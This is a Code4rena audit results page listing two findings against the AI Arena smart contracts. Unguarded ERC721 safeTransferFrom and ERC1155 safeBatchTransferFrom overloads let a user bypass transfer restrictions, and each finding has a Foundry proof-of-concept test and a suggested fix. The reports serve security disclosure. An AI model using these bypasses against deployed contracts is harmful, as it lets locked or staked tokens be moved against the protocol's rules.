AI Arena - DMoore's results

In AI Arena you train an AI character to battle in a platform fighting game. Imagine a cross between PokΓ©mon and Super Smash Bros, but the characters are AIs, and you can train them to learn almost any skill in preparation for battle.

General Information

Platform: Code4rena

Start Date: 09/02/2024

Pot Size: $60,500 USDC

Total HM: 17

Participants: 283

Period: 12 days

Judge:

Id: 328

League: ETH

AI Arena

Findings Distribution

Researcher Performance

Rank: 268/283

Findings: 2

Award: $0.10

🌟 Selected for report: 0

πŸš€ Solo Findings: 0

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L544 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L355-L365 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L338-L348

Vulnerability details

Impact

FighterFarm derives from ERC721 and override transferFrom and safeTransferFrom function, which ensure that FighterFarm can only be transferred if _ableToTransfer returns true.

However, below safeTransferFrom is not override in FighterFarm to add this check.

/** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner nor approved"); _safeTransfer(from, to, tokenId, data); }

So that malicious user can use this function to transfer FighterFarm even if _ableToTransfer returns false, which means that staked FighterFarm can be transferred and malicious can own more than MAX_FIGHTERS_ALLOWED FighterFarm.

Proof of Concept

malicious user can use safeTransferFrom to transfer FighterFarm with _ableToTransfer returns false, see below code:

staked FighterFarm can be transferred.

function testTransferringFighter() public { _mintFromMergingPool(_ownerAddress); _fighterFarmContract.addStaker(_ownerAddress); _fighterFarmContract.updateFighterStaking(0, true); assertEq(_fighterFarmContract.fighterStaked(0), true); // check that i'm unable to transfer since i staked vm.expectRevert(); _fighterFarmContract.transferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0); assertEq(_fighterFarmContract.ownerOf(0) != _DELEGATED_ADDRESS, true); assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress); // we can bypass check _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, ""); assertEq(_fighterFarmContract.ownerOf(0) == _DELEGATED_ADDRESS, true); assertEq(_fighterFarmContract.ownerOf(0), _DELEGATED_ADDRESS); }

User can own more than MAX_FIGHTERS_ALLOWED FighterFarm

function testTransferringFighter() public { _mintFromMergingPool(_ownerAddress); for(uint256 i = 0; i < 10; i++) { _mintFromMergingPool(_DELEGATED_ADDRESS); } // check that unable to transfer since reaches 10 vm.expectRevert(); _fighterFarmContract.transferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0); assertEq(_fighterFarmContract.ownerOf(0) != _DELEGATED_ADDRESS, true); assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress); // we can bypass check _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, ""); assertEq(_fighterFarmContract.ownerOf(0) == _DELEGATED_ADDRESS, true); assertEq(_fighterFarmContract.ownerOf(0), _DELEGATED_ADDRESS); assertEq(_fighterFarmContract.balanceOf(_DELEGATED_ADDRESS), 11); }

Tools Used

Manual Review and Foundry

Override function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory data ) to add _ableToTransfer check

Assessed type

Token-Transfer

#0 - c4-pre-sort

2024-02-23T04:23:53Z

raymondfam marked the issue as insufficient quality report

#1 - c4-pre-sort

2024-02-23T04:24:11Z

raymondfam marked the issue as duplicate of #54

#2 - c4-pre-sort

2024-02-23T04:47:10Z

raymondfam marked the issue as duplicate of #739

#3 - c4-pre-sort

2024-02-23T04:50:54Z

raymondfam marked the issue as sufficient quality report

#4 - c4-judge

2024-03-11T02:35:51Z

HickupHH3 marked the issue as satisfactory

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L35-L42 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L291-L303

Vulnerability details

Impact

GameItems derives from ERC1155 and override safeTransferFrom function, which ensure that GameItems can only be transfered if allGameItemAttributes[tokenId].transferable is true.

However, safeBatchTransferFrom is not override in GameItems to add this check, so that malicious user can use this function to transfer GameItems even if allGameItemAttributes[tokenId].transferable is false.

Proof of Concept

malicious user can use safeBatchTransferFrom to transfer GameItems with transferable == false, see below code:

function testSafeTransferFrom() public { _fundUserWith4kNeuronByTreasury(_ownerAddress); _gameItemsContract.mint(0, 1); _gameItemsContract.adjustTransferability(0, false); // safeTransferFrom can't transfer if allGameItemAttributes[tokenId].transferable == false vm.expectRevert(); _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, ""); uint256[] memory ids = new uint256[](1); ids[0] = 0; uint256[] memory amounts = new uint256[](1); amounts[0] = 1; bytes memory data = new bytes(1); data[0] = ""; // safeBatchTransferFrom can still do the transfer _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, ids, amounts, data); assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1); assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0); }

Tools Used

Manual Review and Foundry

Override safeBatchTransferFrom to add allGameItemAttributes[tokenId].transferable check

Assessed type

Token-Transfer

#0 - c4-pre-sort

2024-02-22T03:34:01Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-02-22T03:34:13Z

raymondfam marked the issue as duplicate of #18

#2 - c4-pre-sort

2024-02-26T00:27:22Z

raymondfam marked the issue as duplicate of #575

#3 - c4-judge

2024-03-05T04:47:39Z

HickupHH3 changed the severity to 3 (High Risk)

#4 - c4-judge

2024-03-05T04:51:18Z

HickupHH3 marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax Β© 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter